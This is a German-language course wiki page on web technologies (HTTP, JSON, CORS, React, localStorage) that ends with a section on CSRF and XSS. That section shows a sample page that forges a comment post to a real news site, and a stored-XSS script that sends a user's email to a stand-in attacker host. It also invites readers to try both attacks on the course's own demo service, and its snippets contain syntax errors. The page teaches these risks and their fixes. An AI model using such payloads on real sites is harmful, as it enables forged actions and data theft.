Webtechnologien: Unterschied zwischen den Versionen

Aus CCWiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
= HTTP Protokoll =
= HTTP Protokoll =
Das '''H'''yper'''T'''ext '''T'''ransfer '''P'''rotocol ist ein Übertragungsprotokoll auf der Anwendungsschicht. Die Übertragung erfolgt über '''TCP'''. Das Protokoll ist [[Webtechnologien#Zustandslosigkeit|zustandslos]] und wurde für die Übertragung von Webseiten entwickelt. Kann aber auch für andere Einsatzgebiete verwendet werden.
Das '''H'''yper'''T'''ext '''T'''ransfer '''P'''rotocol ist ein Übertragungsprotokoll auf der Anwendungsschicht. Die Übertragung erfolgt über '''TCP'''. Das Protokoll ist [[Webtechnologien#Zustandslosigkeit|zustandslos]] und wurde für die Übertragung von Webseiten entwickelt. Kann aber auch für andere Einsatzgebiete verwendet werden.<ref>https://de.wikipedia.org/wiki/Hypertext_Transfer_Protocol</ref>
== Aufbau HTTP Request/Response ==
== Aufbau HTTP Request/Response ==


Zeile 7: Zeile 7:


== Zustandslosigkeit ==
== Zustandslosigkeit ==
Das '''HTTP Protokoll''' ist Zustandslos, das bedeutet, es gibt keinen direkten Zusammenhang zwischen mehreren '''HTTP Requests'''. Natürlich kann es einen logischen Zusammenhang geben. Z.B.: Zuerst muss ein User erstellt werden (POST), dannach kann dieser modifiziert werden (PUT). Deswegen eignet sich das '''HTTP Protokoll''' so hervorragend für '''RESTful''' Webservices und deswegen, siehe [[Webservices_und_Client_Server_Konzepte#Zustandslosigkeit|Zustandslosigkeit]].
Das '''HTTP Protokoll''' ist Zustandslos, das bedeutet, es gibt keinen direkten Zusammenhang zwischen mehreren '''HTTP Requests'''. Natürlich kann es einen logischen Zusammenhang zwischen den Requests geben, z.B.: Zuerst muss ein User erstellt werden (POST), dannach kann dieser modifiziert werden (PUT). Deswegen eignet sich das '''HTTP Protokoll''' so hervorragend für '''RESTful''' Webservices und deswegen, siehe [[Webservices_und_Client_Server_Konzepte#Zustandslosigkeit|Zustandslosigkeit]].


= HTML =
= HTML =

Version vom 25. Januar 2021, 19:04 Uhr

HTTP Protokoll

Das HyperText Transfer Protocol ist ein Übertragungsprotokoll auf der Anwendungsschicht. Die Übertragung erfolgt über TCP. Das Protokoll ist zustandslos und wurde für die Übertragung von Webseiten entwickelt. Kann aber auch für andere Einsatzgebiete verwendet werden.[1]

Aufbau HTTP Request/Response

Methoden

Für nähere Informationen zu gebräuchlichen HTTP Methoden, oder HTTP Verben siehe Einheitliche Schnittstelle. Eine vollständige Liste und die Bedeutung der einzelnen Verben kann hier eingesehen werden.

Zustandslosigkeit

Das HTTP Protokoll ist Zustandslos, das bedeutet, es gibt keinen direkten Zusammenhang zwischen mehreren HTTP Requests. Natürlich kann es einen logischen Zusammenhang zwischen den Requests geben, z.B.: Zuerst muss ein User erstellt werden (POST), dannach kann dieser modifiziert werden (PUT). Deswegen eignet sich das HTTP Protokoll so hervorragend für RESTful Webservices und deswegen, siehe Zustandslosigkeit.

HTML

Javascript

CSS

Json

Java Script Object Notation ist mittlerweile eines der gebräuchlichsten Datenübertragungsformate im Web und bietet durch seine Einfachheit und den geringen Overhead eine sehr gute Alternative gegenüber XML. Die Datentypen beschränken sich auf:

  • Objekt - { ... }
  • Array - [ ... ]
  • Zeichenkette - "Text"
  • Zahl - z.B.: 3.5, 3
  • Boolscher Wert - true, false
  • Null Wert - null

Beispiel

{
  "Herausgeber": "Xema",
  "Nummer": "1234-5678-9012-3456",
  "Deckung": 2e+6,
  "Waehrung": "EURO",
  "Inhaber":
  {
    "Name": "Mustermann",
    "Vorname": "Max",
    "maennlich": true,
    "Hobbys": ["Reiten", "Golfen", "Lesen"],
    "Alter": 42,
    "Kinder": [],
    "Partner": null
  }
}

[2]

Single Page Application

Im Vergleich zu normalen Webseiten, bestehen Single Page Applications aus lediglich einer HTML Webseite. Veränderung des Inhalts erfolgen über Javascript . Das Document Object Model[3](Aufbau der Webseite) wird über Javascript manipuliert, das heißt es werden HTML Elemente erzeugt, gelöscht oder verändert.

AJAX

Asynchronous JAvascript Xml ist bezeichnend für den SPA Ansatz. Requests an den Webservice werden über Javascript ausgeführt, die Daten werden im XML Format übertragen, verarbeitet und dann wird das DOM der Webseite manipuliert. Mittlerweile wird immer seltener XML, stattdessen Json als übertragungsformat verwendet, das X hat sich jedoch gehalten.

CORS

Grundsätzlich, wenn asynchrone Javascript Requests ausgeführt werden, so sind diese nur auf der selben Seite erfolgreich, das ist die Same-Origin-Policy. Werden Requests an eine andere Seite bzw. Webservice gesendet, so wird der Browser die Response nicht an das Javascript weiterleiten, sondern einen Fehler werfen.[4] Ganz vereinfacht gesagt, der Javascript Code der den Request an einen Webservice sendet, muss auch von diesem Webservice stammen, d.h. den selben Ursprung (Origin) haben.

Es ist der selbe Ursprung, wenn Protokoll, Domain und der Port gleich sind.

Wird nun beispielsweise das Frontend z.B.: React von einem anderen Ursprung wie dem Webservice geliefert, so muss Cross Origin Ressource Sharing aktiviert werden. Die Aktivierung erfolgt über HTTP Header welche der Response des Webservices beigefügt werden. Der Browser analysiert dann diese Header und im Falle eines CORS verstoßes, wird die Response nicht weitergeleitet an das Javascript der Webseite. Der Request ist jedoch trotzdem erfolgt.

CORS Header (die wichtigsten fürs Verständnis)
Header Mögliche Werte Erklärung
Access-Control-Allow-Origin * oder der Ursprung der Aufrufenden seite Wird die Wildcard * verwendet, so sind Requests von jedem Server möglich. Steht hier die Ursprungsquelle des aufrufenden Javascripts, so handelt es sich um einen Eintrag in einer Whitelist (welche Quellen sind erlaubt).
Access-Control-Allow-Methods PUT,POST,DELETE,... Hier wird angegeben welche HTTP Verben erlaubt sind
Access-Control-Allow-Credentials true oder false Dürfen Cookies übermittelt werden? Dies ist nur in Zusammenhang mit der Whitelist möglich. Bei der Wildcard ist das übermitteln von Cookies nicht erlaubt.

Beispiel

In unserem Webservice Beispiel, haben wir diesen AJAX Ansatz beim Löschen von Nachrichten und beim Empfangen neuer Nachrichten implementiert. Anbei der Code zum Löschen (erweitert um das Löschen des HTML elements):

<html>
...
<script>
async function del(id) {
    try {
        //HTTP delete request
        var result = await fetch("/messages/" + id, { method: "DELETE" });
        if (result.status != 200) {
            window.alert("Nachricht wurde nicht gelöscht...");
        } else {
            //Element wird aus DOM gelöscht
            document.getElementById(id)?.remove();
        }
    } catch (err) {
        window.alert("Löschen fehlgeschlagen...");
    }
}
</script>
...
<p id="600ee7bcbeffc91a1aa520a3">
    Von: lukas, Mon Jan 25 2021 16:46:04 GMT+0100 (Mitteleuropäische Normalzeit)<br>
    Nachricht: asdfasdf<br>
    <br>
    <button onclick="del('600ee7bcbeffc91a1aa520a3')">Nachricht löschen</button>
</p>
...
</html>

SPA Frameworks

Für den SPA Ansatz gibt es eine vielzahl von Frameworks. Einige sehr Populäre Frameworks sind:

  • React (Wird eigentlich nur als Bibliothek bezeichnet, da dem Entwickler sehr viel Freiheit in der Umsetzung geboten wird)
  • Vue.js
  • Angular

Weiters soll hier Flutter erwähnt werden. Dies ist ein Cross Platform Framework, mit dem ebenfalls Webseiten erstellt werden können. Ein großer Unterschied ist, dass bei Flutter keine DOM manipulation erfolgt, die Webseite wird auf ein Canvas gezeichnet.

Flutter war am Anfang als nativ anfühlende Alternative für iOS und Android Apps geplant, mittlerweile wird es ermöglicht Webseiten und auch Desktop Apps für Linux, Windows und MacOS zu erstellen.

React

Das SPA Framework React wurde von Facebook entwickelt. Programmiert wird in Javascript oder Typescript (Javascript mit typisierung), das React Framework, erstellt aus allen Quelldateien ein optimiertes Javascript Programm inklusive HTML.
Eine React Anwendung besteht aus Komponenten (Components), die ineinander verschachtelt werden können. Eine Objektorientierte Vorgangsweise mit Klassen und Vererbung, wie z.B.: in Java, ist möglich, wird jedoch weitesgehend durch den Einsatz von Functional Components ersetzt.
Veränderung von Komponenten erfolgt über die Veränderung des States. Wird der State verändert, so wird die Komponente neu gerendert. Dies soll an folgendem Beispiel illustriert werden, eine einfache Cookie Clicker Komponente:

import React, { useState } from 'react';

function CookieClicker(props) {
    const [clicked, setClicked] = useState(0);

    function buttonClicked() {
        setClicked(clicked + 1);
    }

    function reset() {
        setClicked(0);
    }

    return (
        <div>
            <button onClick={buttonClicked}>Deine Cookies {clicked}!</button>
            <br />
            <button onClick={reset}>Cookies löschen!!!</button>
        </div>
    )
}

export default CookieClicker;

Die Komponente besteht lediglich aus einer Funktion, welcher optional Properties (Übergabeparameter) übergeben werden können. Dies können Beispielsweise Callbacks, Parameter, die für die Initialisierung benötigt werden sein.
Die Funktion hat als Rückgabewert JSX. JSX ist eine Templatesprache, welche es erlaubt Komponententen, Javascript Code und HTML/CSS zu kombinieren. Wird im Template auf Javascript zugegriffen (Zeile 10 und 18), so wird dies in { ... } gefasst.
Weiters sehen wir sehen wir im Beispiel (Zeile 123 ), wie eine State Variable initialisiert wird. Der Funktion useState(...) wird ein Initialwert mitgegeben. Zusätzlich wird der Name der State Variable und ein setter definiert. Wird die State Variable über den setter modifiziert, so erfolgt ein erneutes rendern der Komponente.

Anwendungsstate speichern

Um den Zustand einer Webseite zu speichern, egal ob traditionell oder SPA kann die localstorage API[5] des Browsers verwendet werden. Diese Programmierschnittstelle, ermöglicht über Javascript Key Value Pairs wie beim Assoziativen Speicher zu speichern. Im Localstorage kann z.B.: gespeichert werden, in welchem Punkt in der Webseite sich der Benutzer zuletzt befunden hat, oder ähnliches. Natürlich könnte dies auch Serverseitig gespeichert werden, doch wenn dies nicht nötig ist, ist es eine gute und effiziente Alternative.

Beispiel

Folgende Webseite speicher einfach den Zustand, wie oft sie denn geöffnet wurde. Gerne selbst ausprobieren:

<html>
  <h1 id='title'/>
  <script>
    var opened = window.localStorage.getItem('openedTimes');
    if (!opened) {
      opened = 1;
    } else {
      opened++;
    }
    document.getElementById('title').innerHTML = "Hallo, du hast die Webseite "+opened+" mal geöffnet";
    window.localStorage.setItem('openedTimes', opened);
  </script>
</html>

Risiken der Localstorage API

Werte im Localstorage können über Javascript nur von der selben Quelle (Origin) abgerufen werden. Somit kann Javascript nicht auf den Localstorage anderer Webseiten zugreifen. Das klingt schon sehr sicher. Warum sollte man dann die Localstorage API nicht auch zum speichern von Zugangstoken wie z.B dem JWT Token verwenden?
Das Problem liegt darin, dass sämtliches Javascript welches in der Webseite geladen wird, zugriff auf die Daten im Localstorage hat. Wenn keine 3rd Party Javascript Bibliothek verwendet wird, ist dies kein Problem, jedoch ist das heutzutage in den allermeisten Fällen, nicht der Fall. Für alle möglichen Dinge werden Javascript Bibliotheken verwendet, bei Einsatz eines SPA Frameworks/Bibliothek umso mehr. Wäre eine dieser Bibliotheken kompromitiert, so könnte Sie mit Leichtigkeit, das Token aus dem Localstorage holen und an einen anderen Server senden.

Sicherheitsrisiken

Im folgenden werden ausgewählte Sicherheitsrisiken im Zusammenhang mit Webseiten erläutert.

CSRF

Cross Site Request Forgery, ist eine Angriffsmethode bei dem die gespeicherten Anmeldedaten des Benutzers verwendet werden um Requests durchzuführen, die ohne die Zustimmung des Benutzers erfolgen.

Unterschieben der URL

Ist ein Benutzer bei einer Webseite A angemeldet, so wird diese Anmeldeinformation als Cookie im Browser gespeichert. Bei jedem Request an Webseite A wird das Cookie vom Browser mitgesendet, und der Server verwendet es um den Benutzer zu authentifizieren. Das Cookie wird auch mitgesendet wenn die Anfrage nicht von Webseite A selbst, sondern von einer anderen Webseite B stammt. Somit können schadhafte Requests von einer beliebigen Webseite ausgeführt werden, wenn der Server keine CSRF Schutzmechanismen implementiert hat.
Ein auslesen von Daten durch eine bösartige Webseite ist hierbei jedoch nicht möglich. Moderne Browser senden zwar die Anfrage an den Server, die Antwort jedoch, wird durch den Browser nicht an das Javascript der Schadseite weitergeleitet. Der Grund hierfür ist die Same-Site-Policy, oder restriktionen von CORS.

Beispiel

Angenommen der Benutzer ist auf der Webseite https://vol.at angemeldet. Um einen Kommentar für einen Artikel zu erstellen, erfolgt ein POST Request auf https://vol.at/14512/.
Der Angreifer bringt auf irgendeine Weise (z.B.: Phishing Mail) den Benutzer dazu, auf seine eigene Webseite zu navigieren. Beim Aufruf dieser bösen Webseite kann nun direkt über Javascript ein POST Request auf https://vol.at/14512/ mit einem unangebrachten Kommentar ausgeführt werden.
Eine bösartige Webseite könnte wie folgt aussehen:

Sie werden in kürze gehackt.
<script>
  async function postComment() {
    await fetch('https://vol.at/14512', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' },
      body: "comment=Du bist so blöd!",
      credentials: 'include'
    }
    window.alert("You have been hacked by HACKER");
  }
  postComment();
</script>
Versuche doch, das Unterschieben der URL mit unserem Webservice Beispiel!

Lösungen

Generell verliert diese Art der CSRF Attacke an Vedeutung. Es gibt mehrere Möglichkeiten eine Webseite dagegen abzusichern.

  • Same Site Cookie Attribut[6] - Beschränkt das senden von Cookies wenn der Request nicht von der ursprünglichen Webseite, welche auch das Cookie gesendet hat, kommt.
  • CSRF Token - Wird ein POST Request gemacht, so muss zuerst ein CSRF Token geholt werden, dieser wird beim POST Request mitgesendet und validiert. Wie bereits erwähnt, können Requests von einer bösartigen zwar gesendet, die Responses aber nicht verarbeitet werden. Somit kann der CSRF Token nicht geholt und dem ungewünschten Request angehängt werden.

XSS

X/Cross site Scripting, ist eine Variante von CSRF welche ebenfalls erfordert, dass der Benutzer auf einer Webseite angemeldet ist. Die Unerwünschten Requests werden jedoch auf einem anderen Weg an den User gebracht. Besteht auf einer Webseite die Möglichkeit für den Benutzer eigenen HTML oder Javascript Code hochzuladen, so können Schadhafte Requests bei anderen Benutzern ausgeführt werden. Diese Möglichkeit kann auch durch mangelhafte Absicherung von Benutzereingaben auftreten. Der Schadhafte Code wird als Teil der Webseite an den Browser anderere Benutzer gesendet, sämtliche Requests sind hier möglich. Weder ein Same Site Cookie noch ein CSRF Token schaffen hier abhilfe, da die bösartigen Requests von der Seite selbst kommen.

Beispiel

Angenommen sei eine Webseite welche Beiträge von Benutzern über ein Formularfeld entegegen nimmt. Die Beiträge werden beim Abrufen eines Browser folgendermaßen gerendert

<html>
  <article>
  Nachrichten inhalt
  </article>
</html>

Ein Benutzer könnte nun folgende Nachricht verfassen:

Heute hat es aber viel geschneit! Schön!
<script>
  async function getProfile() {
    await user = fetch('/profile', { method: 'GET' });
    fetch('https://hacker.de/stolenemails', {
      method: 'POST',
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ email: user.email }),
      credentials: 'include'
    }
    window.alert("Thanks for your email from HACKER");
  }
  getProfile();
</script>
Versuche doch die XSS Attacke mit unserem Webservice Beispiel! Du wirst sehen, Anfangs funktioniert es nicht, da das Mustache Template, HTML/Javascript escaped <html> wird zu &lt;html&gt;, d.h. es nimmt ihm die Bedeutung[7]. Ändere den Platzhalter von {{ }}, nach {{{ }}} und HTML/Javascript wird nicht mehr escaped. Mit dem React Frontend, wird es wahrscheinlich nicht klappen.

Lösung

Eine Möglichkeit um diese Sicherheitslücke zu umgehen ist ein Filtern der Eingabe des Benuzters.

Weitere Quellen

[8] [9] [10]